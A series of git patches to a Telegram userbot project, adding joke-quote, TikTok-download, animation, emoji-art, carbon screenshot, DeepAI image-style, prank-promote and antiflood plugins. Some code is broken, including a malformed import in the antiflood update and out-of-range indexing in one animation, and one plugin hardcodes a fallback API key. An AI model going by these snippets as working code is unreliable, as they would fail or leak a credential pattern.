birth. Being a man is a matter of age. But being a gentleman is a matter of choice.\"`") + + if x==80: + + await event.edit("`\"Soon the parents will be hiding their social account from their kids rather than kids hiding their accounts from the parents.\"`") + + if x==81: + + await event.edit("`\"Wikipedia is what the internet was meant to be.\"`") + + if x==82: + + await event.edit("`\"A theme park is the only place that you can hear screams in the distance and not be concerned.\"`") + + if x==83: + + await event.edit("`\"A wireless phone charger offers less freedom of movement than a wired one.\"`") + + if x==84: + + await event.edit("`\"If you repeatedly criticize someone for liking something you don't, they won't stop liking it. They'll stop liking you.\"`") + + if x==85: + + await event.edit("`\"Somewhere there is a grandmother, whose grandson really is the most handsome boy in the world.\"`") + + if x==86: + + await event.edit("`\"If someday human teleportation becomes real, people will still be late for work.\"`") + + if x==87: + + await event.edit("`\"The first humans who ate crabs must have been really hungry to try and eat an armored sea spider\"`") + + if x==88: + + await event.edit("`\"Doing something alone is kind of sad, but doing it solo is cool af.\"`") + + if x==89: + + await event.edit("`\"Your brain suddenly becomes perfect at proofreading after you post something.\"`") + + if x==90: + + await event.edit("`\"There's always that one song in your playlist that you always skip but never remove.\"`") + + if x==91: + + await event.edit("`\"Kids next century will probably hate us for taking all the good usernames.\"`") + + if x==92: + + await event.edit("`\"Bubbles are to fish what rain is to humans.\"`") + + if x==93: + + await event.edit("`\"The more people you meet, the more you realise and appreciate how well your parents raised you.\"`") + + if x==94: + + await event.edit("`\"A comma is a short pause, a coma is a long pause.\"`") + + if x==95: + + await event.edit("`\"Someday you will either not wake up or not go to sleep.\"`") + + if x==96: + + await event.edit("`\"Bermuda Triangle might be the exit portal of this simulation.\"`") + + if x==97: + + await event.edit("`\"If we put solar panels above parking lots, then our cars wouldn't get hot and we would have a lot of clean energy.\"`") + + if x==98: + + await event.edit("`Do You Know, Some Mosquitos Became Ghosts, When you *Killed* Them...`") + + if x==99: + + await event.edit("`Do You Know, Mosquitoes has Teleportation Power...`") + + if x==100: + + await event.edit("`Do You Know, When you see a bearded Goat, that means you juat saw a *Smarter Goat* than YOU....`") + + if x==101: + + await event.edit("`Do You Know, when You give some ruppess to a Bus Conductor, He will give You a Piece of Paper, *Called Ticket*...`") + + if x==102: + + await event.edit("`Do You Know, Bus are called Bus, Because they are Bus....`") + + if x==103: + + await event.edit("`Do You Know, There's a Huge Difference between *Cartoon amd Anime*...`") + + if x==104: + + await event.edit("`Do You Know, We can't see Ghosts But Ghosts Can see Us...`") From 949b32ba4dec925f8e6cca36aab88d2cfb0d478d Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 18:52:48 +0530 Subject: [PATCH 057/838] Create tiktok.py --- fridaybot/modules/tiktok.py | 106 ++++++++++++++++++++++++++++++++++++ 1 file changed, 106 insertions(+) create mode 100644 fridaybot/modules/tiktok.py diff --git a/fridaybot/modules/tiktok.py b/fridaybot/modules/tiktok.py new file mode 100644 index 00000000..20cc9eaa --- /dev/null +++ b/fridaybot/modules/tiktok.py @@ -0,0 +1,106 @@ +""" tiktok downloaded plugin creted by @mrconfused and @sandy1709 + + +Dont edit credits """ +import datetime +import asyncio +from telethon import events +from telethon.errors.rpcerrorlist import YouBlockedUserError, UserAlreadyParticipantError +from telethon.tl.functions.account import UpdateNotifySettingsRequest +from telethon.tl.functions.messages import ImportChatInviteRequest +from ..utils import admin_cmd +from fridaybot import CMD_HELP + +@borg.on(admin_cmd("tti ?(.*)")) +async def _(event): + if event.fwd_from: + return + d_link = event.pattern_match.group(1) + if ".com" not in d_link: + await event.edit("` I need a link to download something pro.`**(._.)**") + return + else: + await event.edit("downloading your video") + bot = "@HK_tiktok_BOT" + + async with borg.conversation("@HK_tiktok_BOT") as conv: + try: + await conv.send_message(d_link) + cat1 = await conv.get_response() + details = await conv.get_response() + if details.text.startswith("Sorry"): + await borg.send_message(event.chat_id , "sorry . something went wrong" ) + return + cat2 = await conv.get_response() + cat3 = await conv.get_response() + await borg.send_file(event.chat_id, details, caption = details.text) + await event.delete() + except YouBlockedUserError: + await event.edit("**Error:** `unblock` @HK_tiktok_BOT `and retry!`") + + +@borg.on(admin_cmd("ttv ?(.*)")) +async def _(event): + if event.fwd_from: + return + d_link = event.pattern_match.group(1) + if ".com" not in d_link: + await event.edit("` I need a link to download something pro.`**(._.)**") + return + else: + await event.edit("doownloading your video") + bot = "@HK_tiktok_BOT" + + async with borg.conversation("@HK_tiktok_BOT") as conv: + try: + await conv.send_message(d_link) + cat1 = await conv.get_response() + details = await conv.get_response() + if details.text.startswith("Sorry"): + await borg.send_message(event.chat_id , "sorry . something went wrong" ) + return + cat2 = await conv.get_response() + cat3 = await conv.get_response() + await borg.send_file(event.chat_id, cat3) + await event.delete() + except YouBlockedUserError: + await event.edit("**Error:** `unblock` @HK_tiktok_BOT `and retry!`") + + +@borg.on(admin_cmd("wttv ?(.*)")) +async def _(event): + if event.fwd_from: + return + d_link = event.pattern_match.group(1) + if ".com" not in d_link: + await event.edit("` I need a link to download something pro.`**(._.)**") + return + else: + await event.edit("doownloading your video") + bot = "@HK_tiktok_BOT" + + async with borg.conversation("@HK_tiktok_BOT") as conv: + try: + await conv.send_message(d_link) + cat1 = await conv.get_response() + details = await conv.get_response() + if details.text.startswith("Sorry"): + await borg.send_message(event.chat_id , "sorry . something went wrong" ) + return + cat2 = await conv.get_response() + cat3 = await conv.get_response() + await borg.send_file(event.chat_id, cat2) + await event.delete() + except YouBlockedUserError: + await event.edit("**Error:** `unblock` @HK_tiktok_BOT `and retry!`") + + + +CMD_HELP.update({"tiktok": "`.tti` :\ + \nUSAGE: Shows you the information of the given tiktok video link.\ + \n\n `.ttv `\ + \nUSAGE: Sends you the tiktok video of the given link without watermark\ + \n\n `.wttv `\ + \n\nUSAGE: Sends you the tiktok video of the given link with watermark\ + " +}) From a570bc6373a6818f7a2d255e97e0e89ac3900909 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 18:57:07 +0530 Subject: [PATCH 058/838] Create games.py --- fridaybot/modules/games.py | 48 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 48 insertions(+) create mode 100644 fridaybot/modules/games.py diff --git a/fridaybot/modules/games.py b/fridaybot/modules/games.py new file mode 100644 index 00000000..f49d335e --- /dev/null +++ b/fridaybot/modules/games.py @@ -0,0 +1,48 @@ +# Plugin made by @hellboi_atul for DARK COBRA.. +# You can use this..but don't edit/remove these comment lines.. +# This module is for playing tik tak toe game.. +# So wahi...Enjoy + +import re +import random +from fridaybot import bot +from ..utils import admin_cmd + +IF_EMOJI = re.compile( + "[" + "\U0001F1E0-\U0001F1FF" # flags (iOS) + "\U0001F300-\U0001F5FF" # symbols & pictographs + "\U0001F600-\U0001F64F" # emoticons + "\U0001F680-\U0001F6FF" # transport & map symbols + "\U0001F700-\U0001F77F" # alchemical symbols + "\U0001F780-\U0001F7FF" # Geometric Shapes Extended + "\U0001F800-\U0001F8FF" # Supplemental Arrows-C + "\U0001F900-\U0001F9FF" # Supplemental Symbols and Pictographs + "\U0001FA00-\U0001FA6F" # Chess Symbols + "\U0001FA70-\U0001FAFF" # Symbols and Pictographs Extended-A + "\U00002702-\U000027B0" # Dingbats + "]+") + +def deEmojify(inputString: str) -> str: + """Remove emojis and other non-safe characters from string""" + return re.sub(IF_EMOJI, '', inputString) + + +@borg.on(admin_cmd(pattern="playxo(?: |$)(.*)")) + +async def nope(doit): + ok = doit.pattern_match.group(1) + if not ok: + if doit.is_reply: + what = (await doit.get_reply_message()).message + + return + xoxoxo = await bot.inline_query( + "xobot", f"{(deEmojify(ok))}") + await xoxoxo[0].click(doit.chat_id, + reply_to=doit.reply_to_msg_id, + silent=True if doit.is_reply else False, + hide_via=True) + await doit.delete() + + From 0e3203acbb813436bd7f20d7afc1184f1452b2e6 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 18:59:34 +0530 Subject: [PATCH 059/838] Create call.py --- fridaybot/modules/call.py | 65 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 65 insertions(+) create mode 100644 fridaybot/modules/call.py diff --git a/fridaybot/modules/call.py b/fridaybot/modules/call.py new file mode 100644 index 00000000..a2f87ddc --- /dev/null +++ b/fridaybot/modules/call.py @@ -0,0 +1,65 @@ +"""Emoji + +Available Commands: + +.emoji shrug + +.emoji apple + +.emoji :/ + +.emoji -_-""" + +from telethon import events + +import asyncio +from ..utils import admin_cmd + + + + +@borg.on(admin_cmd(pattern=r"call")) + +async def _(event): + + if event.fwd_from: + + return + + animation_interval = 3 + + animation_ttl = range(0, 18) + + # input_str = event.pattern_match.group(1) + + # if input_str == "call": + + await event.edit("Calling") + + animation_chars = [ + + "`Connecting To Telegram Headquarters...`", + "`Call Connected.`", + "`Telegram: Hello This is Telegram HQ. Who is this?`", + "`Me: Yo this is` @[DARK_COBRA_SUPPORT](t.me/Dark_cobra_support) ,`Please Connect me to my idiot bro,Ayush Durov`", + "`User Authorised.`", + "`Calling Pavel Durov` `At +916969696969`", + "`Private Call Connected...`", + "`Me: Hello Sir, Please Ban This Telegram Account.`", + "`Pavel: May I Know Who Is This?`", + "`Me: Yo Brah, itz me` ", + "`Pavel: OMG!!! Long time no see, Wassup Brother...\nI'll Make Sure That Guy Account Will Get Banned Within 24Hrs.`", + "`Me: Thanks, See You Later Brah.`", + "`Pavel: Please Don't Thank Brah, Telegram Is Our's. Just Gimme A Call When You Become Free.`", + "`Me: Is There Any Issue/Emergency???`", + "`Pavel: Yes Sir, There Is A Bug In Telegram v69.6.9.\nI Am Not Able To Fix It. If Possible, Please Help Fix The Bug.`", + "`Me: Send Me The App On My Telegram Account, I Will Fix The Bug & Send You.`", + "`Pavel: Sure Sur \nTC Bye Bye ;)`", + "`Private Call Disconnected.`" + ] + + for i in animation_ttl: + + await asyncio.sleep(animation_interval) + + await event.edit(animation_chars[i % 18]) From 0886a626c6966cb153555033d4502535ad861a1b Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 19:03:40 +0530 Subject: [PATCH 060/838] Create bigoof.py --- fridaybot/modules/bigoof.py | 39 +++++++++++++++++++++++++++++++++++++ 1 file changed, 39 insertions(+) create mode 100644 fridaybot/modules/bigoof.py diff --git a/fridaybot/modules/bigoof.py b/fridaybot/modules/bigoof.py new file mode 100644 index 00000000..6c6e6da7 --- /dev/null +++ b/fridaybot/modules/bigoof.py @@ -0,0 +1,39 @@ +"""Available Commands: +.bigoof +Credits to @TeleBotHelp + + TeleBot +""" + +# Main Credits Goes to @T3b0N3 +# He Worked Very Hard to do this, So Please Respect Him!! +from telethon import events + +import asyncio + +from ..utils import admin_cmd + +@borg.on(admin_cmd("bigoof")) +async def _(event): + if event.fwd_from: + return + animation_interval = 0.1 + animation_ttl = range(0,36) + #input_str = event.pattern_match.group(1) + # if input_str == "nope": + await event.edit("┏━━━┓╋╋╋╋┏━━━┓ \n┃┏━┓┃╋╋╋╋┃┏━┓┃ \n┃┃╋┃┣┓┏┓┏┫┃╋┃┃ \n┃┃╋┃┃┗┛┗┛┃┃╋┃┃ \n┃┗━┛┣┓┏┓┏┫┗━┛┃ \n┗━━━┛┗┛┗┛┗━━━┛") + animation_chars = [ + "╭━━━╮╱╱╱╭━╮ \n┃╭━╮┃╱╱╱┃╭╯ \n┃┃╱┃┣━━┳╯╰╮ \n┃┃╱┃┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃┃┃ \n╰━━━┻━━╯╰╯ ", + "╭━━━╮╱╱╱╱╱╱╭━╮ \n┃╭━╮┃╱╱╱╱╱╱┃╭╯ \n┃┃╱┃┣━━┳━━┳╯╰╮ \n┃┃╱┃┃╭╮┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃╰╯┃┃┃ \n ╰━━━┻━━┻━━╯╰╯", + "╭━━━╮╱╱╱╱╱╱╱╱╱╭━╮ \n┃╭━╮┃╱╱╱╱╱╱╱╱╱┃╭╯ \n┃┃╱┃┣━━┳━━┳━━┳╯╰╮ \n┃┃╱┃┃╭╮┃╭╮┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃╰╯┃╰╯┃┃┃ \n╰━━━┻━━┻━━┻━━╯╰╯", + "╭━━━╮╱╱╱╱╱╱╱╱╱╱╱╱╭━╮ \n┃╭━╮┃╱╱╱╱╱╱╱╱╱╱╱╱┃╭╯ \n┃┃╱┃┣━━┳━━┳━━┳━━┳╯╰╮ \n┃┃╱┃┃╭╮┃╭╮┃╭╮┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃╰╯┃╰╯┃╰╯┃┃┃ \n╰━━━┻━━┻━━┻━━┻━━╯╰╯", + "╭━━━╮╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╭━╮ \n┃╭━╮┃╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱┃╭╯ \n┃┃╱┃┣━━┳━━┳━━┳━━┳━━┳╯╰╮ \n┃┃╱┃┃╭╮┃╭╮┃╭╮┃╭╮┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃╰╯┃╰╯┃╰╯┃╰╯┃┃┃ \n╰━━━┻━━┻━━┻━━┻━━┻━━╯╰╯", + "╭━━━╮╱╱╱╱╱╱╱╱╱╱╱╱╭━╮ \n┃╭━╮┃╱╱╱╱╱╱╱╱╱╱╱╱┃╭╯ \n┃┃╱┃┣━━┳━━┳━━┳━━┳╯╰╮ \n┃┃╱┃┃╭╮┃╭╮┃╭╮┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃╰╯┃╰╯┃╰╯┃┃┃ \n╰━━━┻━━┻━━┻━━┻━━╯╰╯", + "╭━━━╮╱╱╱╱╱╱╱╱╱╭━╮ \n┃╭━╮┃╱╱╱╱╱╱╱╱╱┃╭╯ \n┃┃╱┃┣━━┳━━┳━━┳╯╰╮ \n┃┃╱┃┃╭╮┃╭╮┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃╰╯┃╰╯┃┃┃ \n╰━━━┻━━┻━━┻━━╯╰╯" + ] + + + for i in animation_ttl: + + await asyncio.sleep(animation_interval) + await event.edit(animation_chars[i % 40]) From 565ae85b8c028e318fb2c289faf56f4f58168d56 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 19:05:41 +0530 Subject: [PATCH 061/838] Create carbonRGB.py --- fridaybot/modules/carbonRGB.py | 119 +++++++++++++++++++++++++++++++++ 1 file changed, 119 insertions(+) create mode 100644 fridaybot/modules/carbonRGB.py diff --git a/fridaybot/modules/carbonRGB.py b/fridaybot/modules/carbonRGB.py new file mode 100644 index 00000000..eeb8d36b --- /dev/null +++ b/fridaybot/modules/carbonRGB.py @@ -0,0 +1,119 @@ +"""Carbon Scraper Plugin for Userbot. //text in creative way. +usage: .karb //as a reply to any text message + +Thanks to dev for THIS PLUGIN""" + +from selenium.webdriver.support.ui import Select +from selenium.webdriver.chrome.options import Options +from selenium import webdriver +from telethon import events +from urllib.parse import quote_plus +from urllib.error import HTTPError +from time import sleep +import asyncio +import os +import random +from ..utils import admin_cmd +from fridaybot import CMD_HELP + +#@borg.on(events.NewMessage(pattern=r"\.karb ", outgoing=True)) +@borg.on(admin_cmd(pattern="karb")) +async def carbon_api(e): + RED = random.randint(0,256) + GREEN = random.randint(0,256) + BLUE = random.randint(0,256) + THEME= [ "3024-night", + "a11y-dark", + "blackboard", + "base16-dark", + "base16-light", + "cobalt", + "dracula", + "duotone-dark", + "hopscotch", + "lucario", + "material", + "monokai", + "night-owl", + "nord", + "oceanic-next", + "one-light", + "one-dark", + "panda-syntax", + "paraiso-dark", + "seti", + "shades-of-purple", + "solarized", + "solarized%20light", + "synthwave-84", + "twilight", + "verminal", + "vscode", + "yeti", + "zenburn", +] + + CUNTHE = random.randint(0, len(THEME) - 1) + The = THEME[CUNTHE] + + + if not e.text[0].isalpha() and e.text[0] not in ("/", "#", "@", "!"): + """ A Wrapper for carbon.now.sh """ + await e.edit("⬜⬜⬜⬜⬜") + CARBON = 'https://carbon.now.sh/?bg=rgba({R}%2C{G}%2C.{B}%2C1)&t={T}&wt=none&l=auto&ds=false&dsyoff=20px&dsblur=68px&wc=true&wa=true&pv=56px&ph=56px&ln=false&fl=1&fm=Fira%20Code&fs=14px&lh=152%25&si=false&es=2x&wm=false&code={code}' + CARBONLANG = "en" + textx = await e.get_reply_message() + pcode = e.text + if pcode[6:]: + pcode = str(pcode[6:]) + elif textx: + pcode = str(textx.message) # Importing message to module + code = quote_plus(pcode) # Converting to urlencoded + url = CARBON.format(code=code, R=RED, G=GREEN, B=BLUE, T=The, lang=CARBONLANG) + chrome_options = Options() + chrome_options.add_argument("--headless") + chrome_options.binary_location = Config.GOOGLE_CHROME_BIN + chrome_options.add_argument("--window-size=1920x1080") + chrome_options.add_argument("--disable-dev-shm-usage") + chrome_options.add_argument("--no-sandbox") + chrome_options.add_argument('--disable-gpu') + prefs = {'download.default_directory' : './'} + chrome_options.add_experimental_option('prefs', prefs) + await e.edit("⬛⬛⬜⬜⬜") + + driver = webdriver.Chrome(executable_path=Config.CHROME_DRIVER, options=chrome_options) + driver.get(url) + download_path = './' + driver.command_executor._commands["send_command"] = ("POST", '/session/$sessionId/chromium/send_command') + params = {'cmd': 'Page.setDownloadBehavior', 'params': {'behavior': 'allow', 'downloadPath': download_path}} + command_result = driver.execute("send_command", params) + + driver.find_element_by_xpath("//button[contains(text(),'Export')]").click() + sleep(5) # this might take a bit. + #driver.find_element_by_xpath("//button[contains(text(),'4x')]").click() + #sleep(5) + await e.edit("⬛⬛⬛⬜⬜") + #driver.find_element_by_xpath("//button[contains(text(),'PNG')]").click() + #sleep(5) #Waiting for downloading + + await e.edit("⬛⬛⬛⬛⬛") + file = './carbon.png' + await e.edit("✅RGB Karbon Completed, Uploading...........") + await e.client.send_file( + e.chat_id, + file, + caption="Carbonised by [Dark-Cobra](https://github.com/DARK-COBRA/DARKCOBRA)", + force_document=False, + reply_to=e.message.reply_to_msg_id, + ) + + os.remove('./carbon.png') + # Removing carbon.png after uploading + await e.delete() # Deleting msg + +CMD_HELP.update( + { + "carbonRBG": + ".karb " + "\nCreate a cool random colorful carbon image for that text 😂😂(not work in media)" + }) From e3b02e9709f6bd4fc39000ce5ec39e4c81ed962a Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 19:08:00 +0530 Subject: [PATCH 062/838] Create customs.py --- fridaybot/modules/customs.py | 83 ++++++++++++++++++++++++++++++++++++ 1 file changed, 83 insertions(+) create mode 100644 fridaybot/modules/customs.py diff --git a/fridaybot/modules/customs.py b/fridaybot/modules/customs.py new file mode 100644 index 00000000..8245f896 --- /dev/null +++ b/fridaybot/modules/customs.py @@ -0,0 +1,83 @@ +from ..utils import admin_cmd +from fridaybot import CMD_HELP +from fridaybot import bot + + +@borg.on(admin_cmd(pattern=r"hhi ?(.*)")) #initially made by @NOOB_GUY_OP +async def hhi(event): + giveVar = event.text + a = giveVar[5:6] + if not a: + a = "🌺" + b = giveVar[7:8] + if not b: + b = "✨" + await event.edit( + f"{a}{b}{b}{a}{b}{a}{a}{a}\n{a}{b}{b}{a}{b}{b}{a}{b}\n{a}{a}{a}{a}{b}{b}{a}{b}\n{a}{b}{b}{a}{b}{b}{a}{b}\n{a}{b}{b}{a}{b}{a}{a}{a}\n☁☁☁☁☁☁☁☁" + ) +# later made by me +@borg.on(admin_cmd(pattern=r"gws?(.*)")) +async def gws(event): + giveVar = event.text + '''m = giveVar[5:-1] + if not m:''' + m = " Get Well Soon ! " + a = giveVar[-1:] + if a=="s": + a = "🌹" + elif not a: + a = "🌹" + await event.edit( + f"{a}{a}{a}{a}{a}{a}{a} \n{a} {m} {a}\n{a}{a}{a}{a}{a}{a}{a}" + ) +@borg.on(admin_cmd(pattern=r"hii ?(.*)")) +async def hii(event): + giveVar = event.text + a = giveVar[5:6] + if not a: + a = "🌺" + b = giveVar[7:8] + if not b: + b = "✨" + await event.edit( + f"{b}{a}{b}{b}{a}{b}{a}{b}\n{b}{a}{b}{b}{a}{b}{b}{b}\n{b}{a}{a}{a}{a}{b}{a}{b}\n{b}{a}{b}{b}{a}{b}{a}{b}\n{b}{a}{b}{b}{a}{b}{a}{b}" + ) +@borg.on(admin_cmd(pattern=r"hlo ?(.*)")) +async def hlo(event): + giveVar = event.text + a = giveVar[5:6] + if not a: + a = "🌺" + b = giveVar[7:8] + if not b: + b = "✨" + await event.edit( + f"{b}{a}{b}{b}{a}{b}{a}{b}{b}{b}{b}{a}{a}{a}{a}{b}\n{b}{a}{b}{b}{a}{b}{a}{b}{b}{b}{b}{a}{b}{b}{a}{b}\n{b}{a}{a}{a}{a}{b}{a}{b}{b}{b}{b}{a}{b}{b}{a}{b}\n{b}{a}{b}{b}{a}{b}{a}{b}{b}{b}{b}{a}{b}{b}{a}{b}\n{b}{a}{b}{b}{a}{b}{a}{a}{a}{a}{b}{a}{a}{a}{a}{b}" + ) +@borg.on(admin_cmd(pattern=r"bye ?(.*)")) +async def bye(event): + giveVar = event.text + a = giveVar[5:6] + if not a: + a = "✨" + b = giveVar[7:8] + if not b: + b = "🌺" + await event.edit( + f"{a}{b}{b}{a}{a}{b}{a}{a}{a}{b}{a}{b}{b}{b}{a}\n{a}{b}{a}{b}{a}{a}{b}{a}{b}{a}{a}{b}{a}{a}{a}\n{a}{b}{b}{a}{a}{a}{a}{b}{a}{a}{a}{b}{b}{a}{a}\n{a}{b}{a}{b}{a}{a}{a}{b}{a}{a}{a}{b}{a}{a}{a}\n{a}{b}{b}{a}{a}{a}{a}{b}{a}{a}{a}{b}{b}{b}{a}" + ) +CMD_HELP.update( + { + "customs": "__**PLUGIN NAME :** Custom animations__\ + \n\n📌** CMD ★** `.hhi(emoji)(emoji)`\ + \n**USAGE ★ **Try it yourself (put space ) \ + \n\n📌** CMD ★** `.hhi(emoji)(emoji)`\ + \n**USAGE ★ **Try it yourself (put space )\ + \n\n📌** CMD ★** `.gws(emoji)`\ + \n**USAGE ★ **Try it yourself (put space )\ + \n\n📌** CMD ★** `.hlo(emoji)(emoji)`\ + \n**USAGE ★ **Try it yourself (put space )\ + \n\n📌** CMD ★** `.bye(emoji)(emoji)`\ + \n**USAGE ★ **Try it yourself (put space )" + } +) From 700557c63b8d79f892c352a9039ca34ae6fd1e40 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 19:11:19 +0530 Subject: [PATCH 063/838] Create imageenc.py --- fridaybot/modules/imageenc.py | 91 +++++++++++++++++++++++++++++++++++ 1 file changed, 91 insertions(+) create mode 100644 fridaybot/modules/imageenc.py diff --git a/fridaybot/modules/imageenc.py b/fridaybot/modules/imageenc.py new file mode 100644 index 00000000..244f2250 --- /dev/null +++ b/fridaybot/modules/imageenc.py @@ -0,0 +1,91 @@ +# Made for DARK COBRA +# Thanks to @THE_B_LACK_HAT +# Fixed and Edited by @danish_00 +# Kang with credits else gay.. + +from telethon.tl.types import MessageMediaPhoto +import os, urllib, requests, re, asyncio +from ..utils import admin_cmd +from fridaybot import CMD_HELP, ALIVE_NAME +from fridaybot import bot +from fridaybot import bot as borg +DARKCOBRA = os.environ.get("DEEP_AI", "quickstart-QUdJIGlzIGNvbWluZy4uLi4K") + +KANG_KAREGA_MC = str(ALIVE_NAME) if ALIVE_NAME else "nikal Mc" +@bot.on(admin_cmd(pattern="enc ?(.*)", outgoing=True))#hehe +async def _(event): + reply = await event.get_reply_message() + if not reply: + + return await event.edit( + "Reply to any image or non animated sticker !" + ) + + input_str = event.pattern_match.group(1) + hm = input_str + devent = await event.edit("yo let me downlaoad it....") + media = await event.client.download_media(reply) + if not media.endswith(("png", "jpg", "webp")): + return await event.edit( + "Reply to any image or non animated sticker !" + ) + + if input_str: + devent = await event.edit("styling the image sar...") + r = requests.post( + "https://api.deepai.org/api/neural-style", + files={ + 'style': f"{hm}", + 'content': open(media, "rb"), + }, + headers={"api-key": DARKCOBRA}, + ) + + os.remove(media) + if "status" in r.json(): + return await devent.edit( r.json()["status"]) + r_json = r.json()['output_url'] + pic_id = r.json()['id'] + + link = f"https://api.deepai.org/job-view-file/{pic_id}/inputs/image.jpg" + result = f"{r_json}" + + await devent.delete() + await borg.send_message( + event.chat_id, + file=result) + + else: + devent = await event.edit("styling the image sar...") + r = requests.post( + "https://api.deepai.org/api/neural-style", + files={ + 'style': 'https://telegra.ph/file/aaaa686bd3acff51208d7.jpg', + 'content': open(media, "rb"), + }, + headers={"api-key": DARKCOBRA}, + ) + + os.remove(media) + if "status" in r.json(): + return await devent.edit( r.json()["status"]) + r_json = r.json()['output_url'] + pic_id = r.json()['id'] + + link = f"https://api.deepai.org/job-view-file/{pic_id}/inputs/image.jpg" + result = f"{r_json}" + + await devent.delete() + await borg.send_message( + event.chat_id, + file=result) + + +CMD_HELP.update( + { + "imgenc": + ".enc " + "\nIt enhancerize any anime pic (Note :-if its not working then go to deepai.org then get api and set var DEEP_AI nd key.)" + }) + +#hehe From 45c5b9d58f241db6221a49d0c60196d6e8ca4f9e Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 19:14:03 +0530 Subject: [PATCH 064/838] Create addnote.py --- fridaybot/modules/addnote.py | 12 ++++++++++++ 1 file changed, 12 insertions(+) create mode 100644 fridaybot/modules/addnote.py diff --git a/fridaybot/modules/addnote.py b/fridaybot/modules/addnote.py new file mode 100644 index 00000000..4adee62f --- /dev/null +++ b/fridaybot/modules/addnote.py @@ -0,0 +1,12 @@ +from telethon import events +import asyncio +import os +import sys + +@borg.on(events.NewMessage(pattern=r"^.addnote (.*)", outgoing=True)) +async def test(event): + if event.fwd_from: + return + uwu = event.pattern_match.group(1) + await event.edit("Added note to Evernote".format(uwu)) + await borg.send_message("@ifttt", "#note {}".format(uwu)) From 633a8667da8377036575e148d0203c4029adeebf Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 19:15:27 +0530 Subject: [PATCH 065/838] Create prankpromote.py --- fridaybot/modules/prankpromote.py | 66 +++++++++++++++++++++++++++++++ 1 file changed, 66 insertions(+) create mode 100644 fridaybot/modules/prankpromote.py diff --git a/fridaybot/modules/prankpromote.py b/fridaybot/modules/prankpromote.py new file mode 100644 index 00000000..896e1066 --- /dev/null +++ b/fridaybot/modules/prankpromote.py @@ -0,0 +1,66 @@ +"""Reply to a user to .promote them in the current chat""" +import logging +logging.basicConfig(format='[%(levelname) 5s/%(asctime)s] %(name)s: %(message)s', + level=logging.WARNING) +from telethon import events +import asyncio +from datetime import datetime +from telethon.tl.functions.channels import EditAdminRequest +from telethon.tl.types import ChatAdminRights +from ..utils import admin_cmd + + +""" +@borg.on(admin_cmd(pattern="promote ?(.*)")) +async def _(event): + if event.fwd_from: + return + start = datetime.now() + to_promote_id = None + rights = ChatAdminRights( + change_info=True, + post_messages=True, + edit_messages=True, + delete_messages=True, + ban_users=True, + invite_users=True, + pin_messages=True, + add_admins=True, + ) + input_str = event.pattern_match.group(1) + reply_msg_id = event.message.id + if reply_msg_id: + r_mesg = await event.get_reply_message() + to_promote_id = r_mesg.sender_id + elif input_str: + to_promote_id = input_str + try: + await borg(EditAdminRequest(event.chat_id, to_promote_id, rights, "")) + except (Exception) as exc: + await event.edit(str(exc)) + else: + await event.edit("Successfully Promoted") +""" + +@borg.on(admin_cmd(pattern="prankpromote ?(.*)")) +async def _(event): + if event.fwd_from: + return + start = datetime.now() + to_promote_id = None + rights = ChatAdminRights( + post_messages=True + ) + input_str = event.pattern_match.group(1) + reply_msg_id = event.message.id + if reply_msg_id: + r_mesg = await event.get_reply_message() + to_promote_id = r_mesg.sender_id + elif input_str: + to_promote_id = input_str + try: + await borg(EditAdminRequest(event.chat_id, to_promote_id, rights, "")) + except (Exception) as exc: + await event.edit(str(exc)) + else: + await event.edit("Successfully Promoted") From be6cd6bb99a4fcba83ef78c109df1826d9e170af Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 19:20:17 +0530 Subject: [PATCH 066/838] Update antiflood.py --- fridaybot/modules/antiflood.py | 68 ++++++++++++++++------------------ 1 file changed, 32 insertions(+), 36 deletions(-) diff --git a/fridaybot/modules/antiflood.py b/fridaybot/modules/antiflood.py index 81d42924..a59467d2 100644 --- a/fridaybot/modules/antiflood.py +++ b/fridaybot/modules/antiflood.py @@ -1,82 +1,78 @@ import asyncio - +from telethon import events from telethon.tl.functions.channels import EditBannedRequest from telethon.tl.types import ChatBannedRights - -from .sql_helper import floodsql as sql - +from ..utils import admin_cmd +from fridaybot.modules.sql_helperimport flood_sql as sql +import fridaybot.utils +from fridaybot.utils import humanbytes, progress, time_formatter from fridaybot import CMD_HELP -from ..utils import admin_cmd, edit_or_reply, sudo_cmd CHAT_FLOOD = sql.__load_flood_settings() # warn mode for anti flood ANTI_FLOOD_WARN_MODE = ChatBannedRights( - until_date=None, view_messages=None, send_messages=True + until_date=None, + view_messages=None, + send_messages=True ) -@bot.on(admin_cmd(incoming=True)) +@borg.on(admin_cmd(incoming=True)) async def _(event): + # logger.info(CHAT_FLOOD) if not CHAT_FLOOD: return - if str(event.chat_id) not in CHAT_FLOOD: + if not (str(event.chat_id) in CHAT_FLOOD): return - should_ban = sql.update_flood(event.chat_id, event.message.sender_id) + # TODO: exempt admins from 